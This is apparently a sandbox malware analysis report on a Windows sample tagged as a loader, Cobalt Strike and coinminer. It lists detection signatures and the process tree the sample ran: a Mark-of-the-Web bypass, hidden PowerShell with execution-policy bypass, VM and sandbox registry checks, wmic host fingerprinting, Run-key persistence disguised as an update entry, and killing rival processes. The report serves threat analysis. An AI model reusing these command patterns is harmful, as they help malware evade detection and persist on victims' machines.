Analysis
- max time kernel
48s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 01:53
General
- Target 2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
- Size 37.9MB
- Sample260707-cbbwlsfw7x
- SHA256 aab3f5a06190541fd27f7ebd6f99ed9eb8abfab6c47b1e114aad77e77e54f3c1
Score
9/10
Malware Config
Signatures
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Detects executables containing URLs to raw contents of a Github gist 1 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 2 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell and hide display window.
- Looks for VMWare services registry key. 1 TTPs 2 IoCs
- Looks for Xen service registry key. 1 TTPs 1 IoCs
- Executes dropped EXE 1 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 50 IoCs
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 2 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 35 IoCs
- Modifies registry key 1 TTPs 51 IoCs
- NTFS ADS 1 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 50 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 54 IoCs
- Suspicious use of SendNotifyMessage 40 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 50 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe"1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"3⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid 2>nul'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exeC:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe --watchdog 34002⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic cpu get Name /format:csv'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic cpu get Name /format:csv"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get Name /format:csv4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get Name /format:csv4⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic logicaldisk where "DriveType=3" get Size /format:csv'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic logicaldisk where DriveType=3 get Size /format:csv"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk where DriveType=3 get Size /format:csv4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get Name /format:csv4⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest4⤵
- Enumerates VirtualBox registry keys
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF4⤵
- Enumerates VirtualBox registry keys
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmci 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\vmci4⤵
- Looks for VMWare services registry key.
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL4⤵
- Looks for VMWare services registry key.
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\QEMU" 2>nul'"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\QEMU 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\QEMU4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Parallels" 2>nul'"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Parallels 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Parallels4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Wine" 2>nul'"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Wine 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Wine4⤵
- Identifies Wine through registry keys
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn4⤵
- Looks for Xen service registry key.
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Cuckoo" 2>nul'"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Cuckoo 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Cuckoo4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\JoeBox" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\JoeBox 2>nul"3⤵
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\JoeBox4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /FO CSV /NH'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "tasklist /FO CSV /NH"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH4⤵
- Enumerates processes with tasklist
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'getmac /FO CSV /NH'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "getmac /FO CSV /NH"3⤵
-
C:\Windows\system32\getmac.exegetmac /FO CSV /NH4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'driverquery /FO CSV'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "driverquery /FO CSV"3⤵
-
C:\Windows\system32\driverquery.exedriverquery /FO CSV4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic computersystem get Manufacturer,Model /format:csv'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic computersystem get Manufacturer,Model /format:csv"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get Manufacturer,Model /format:csv4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'net use'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "net use"3⤵
-
C:\Windows\system32\net.exenet use4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /NH'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "tasklist /NH"3⤵
-
C:\Windows\system32\tasklist.exetasklist /NH4⤵
- Enumerates processes with tasklist
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall" /s 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s 2>nul"3⤵
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic diskdrive get SerialNumber /format:csv'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic diskdrive get SerialNumber /format:csv"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get SerialNumber /format:csv4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState 2>nul"3⤵
-
C:\Windows\system32\reg.exereg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1783389277028|3400|1783389277388" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1783389277028|3400|1783389277388 /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic os get LastBootUpTime /format:csv'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wmic os get LastBootUpTime /format:csv"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get LastBootUpTime /format:csv4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateCache" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1783389281218" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1783389281218 /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jusched.exe 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "taskkill /f /im jusched.exe 2>nul"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im jusched.exe4⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jucheck.exe 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "taskkill /f /im jucheck.exe 2>nul"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im jucheck.exe4⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdate" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdater" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jusched" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f4⤵
- Modifies registry key
-
-
-
-
